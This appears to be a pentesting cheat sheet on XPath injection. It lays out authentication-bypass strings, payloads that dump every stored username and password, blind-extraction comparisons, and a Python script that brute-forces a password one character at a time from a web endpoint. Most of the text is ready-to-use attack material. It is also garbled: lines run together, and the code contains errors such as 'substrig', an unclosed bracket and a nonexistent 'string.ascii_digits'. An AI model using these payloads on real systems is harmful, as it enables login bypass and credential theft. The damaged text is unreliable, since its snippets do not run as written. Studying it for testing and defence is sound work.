XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
pepe peponcio admin mark m12345 regular fino fino2 regular
All names - [pepe, mark, fino]name//name//name/node()//name/child::node()user/nameuser//name/user/name//user/nameAll values - [pepe, peponcio, admin, mark, ...]//user/node()//user/child::node()Positions//user[position()=1]/name #pepe//user[last()-1]/name #mark//user[position()=1]/child::node()[position()=2] #peponcio (password)Functionscount(//user/node()) #3*3 = 9 (count all values)string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Authentication Bypass
Example of queries:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR bypass in user and password (same value in both)
' or '1'='1' or ''='string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())Select accountSelect the account using the username and use one of the previous values in the password field
Abusing null injection
Double OR in Username or in password (is valid with only 1 vulnerable field)
IMPORTANT: Notice that the "and" is the first operation made.
Bypass with first match(This requests are also valid without spaces)' or /* or '' or "a" or '' or 1 or '' or true() or 'string(//user[name/text()='' or true() or '' and password/text()='']/account/text())Select account'or string-length(name(.))<10 or' #Select account with length(name)<10'or contains(name,'adm') or' #Select first account having "adm" in the name'or contains(.,'adm') or' #Select first account having "adm" in the current value'or position()=2 or' #Select 2º accountstring(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())Select account (name known)admin' or 'admin' or '1'='2string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
The output contains strings and the user can manipulate the values to search:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names') or 1=1] | //user/password[('')=(' #Get all names and passwords') or 2=1] | //user/node()[('')=(' #Get all values')] | //./node()[('')=(' #Get all values')] | //node()[('')=(' #Get all values') or 1=1] | //user/password[('')=(' #Get all names and passwords')] | //password%00 #All names and passwords (abusing null injection)')]/../*[3][text()!=(' #All the passwords')] | //user/*[1] | a[(' #The ID of all users')] | //user/*[2] | a[(' #The name of all users')] | //user/*[3] | a[(' #The password of all users')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Get length of a value and extract it by comparisons:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"Other waysubstring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
Example:
import requests, string flag = ""l = 0alphabet = string.ascii_letters + string.ascii_digits + "{}_()"for i in range(30): r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) if ("TRUE_COND" in r.text): l = i break print("[+] Password length: " + str(l)) for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) for al in alphabet: r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al) if ("TRUE_COND" in r.text): flag += al print("[+] Flag: " + flag) break